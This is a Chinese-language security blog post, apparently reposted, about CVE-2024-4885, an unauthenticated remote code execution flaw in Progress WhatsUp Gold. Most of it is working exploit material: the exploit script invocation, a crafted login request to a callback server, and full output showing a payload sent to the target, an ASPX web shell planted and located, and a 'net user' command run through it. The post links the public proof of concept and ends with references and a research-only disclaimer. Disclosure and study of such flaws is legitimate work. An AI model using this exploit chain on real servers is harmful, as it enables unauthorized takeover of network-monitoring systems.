GET /Session/Login/?sUsername=admin&sPassword=223,255,226,50,2,247,71,87,99 HTTP/1.1Accept: application/jsonHost: 192.168.0.181:1337Connection: Keep-Alive

现在构建一个恶意服务器很容易,如果操作正确,你会得到:

WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

事情是这样的:

WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

概念验证

你可以在以下github 存储库中找到该漏洞

https://github.com/sinsinology/CVE-2024-4885

python3 CVE-2024-4885.py -t http://192.168.0.231:9642 -s 192.168.0.181:1337 -f hax.aspx
 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______ |______ |     | |  |  | |  |  | |     | |   |   |   |   | |  ____      |    |______ |_____| |  |  | ______| |_____| |  |  | |  |  | |_____| |  _| __|__ |  _| |_____| .    |    |______ |     | |  |  |
        (*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-4885)
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
        (*) Technical details: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/


(^_^) Prepare for the Pwnage (^_^)
(+) Sending payload to http://192.168.0.231:9642/NmConsole/ReportService.asmx(*) Callback server listening on http://192.168.0.181:1337(+) Payload sent successfully(*) Checking if target is using HTTPS or HTTP https://192.168.0.231/NmConsole/exploit done!(*) Target host: https://192.168.0.231(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-24.aspx(+) Callback received192.168.0.231 - - [06/Jul/2024 23:31:30] "GET /Session/Login/?sUsername=admin&sPassword=3,0,0,0,16,0,0,0 HTTP/1.1" 200 -192.168.0.231 - - [06/Jul/2024 23:31:30] "PUT /api/core/render HTTP/1.1" 200 -(*) Waiting 180s for the RecurringReport task to land...(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-25.aspx(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-26.aspx(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-27.aspx(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-28.aspx(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-29.aspx(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-30.aspx(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-31.aspx(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-32.aspx(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspx(+) Web shell found at -> https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspxShell> net user
User accounts for \
-------------------------------------------------------------------------------Administrator            debugger                 DefaultAccountGuest                    WDAGUtilityAccountThe command completed with one or more errors.

Shell>

零日攻击计划

如果不是因为零日计划(Zero Day Initiative) 拥有一支才华横溢的团队,我根本不会费心研究进展,向所有在那里工作以使互联网更安全的人致敬。

参考

https://github.com/sinsinology/CVE-2024-4885

https://www.zerodayinitiative.com/advisories/ZDI-24-893/

https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024

 

https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/?ref=x

原文始发于微信公众号(Ots安全):WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月12日10:39:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885https://cn-sec.com/archives/2935823.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息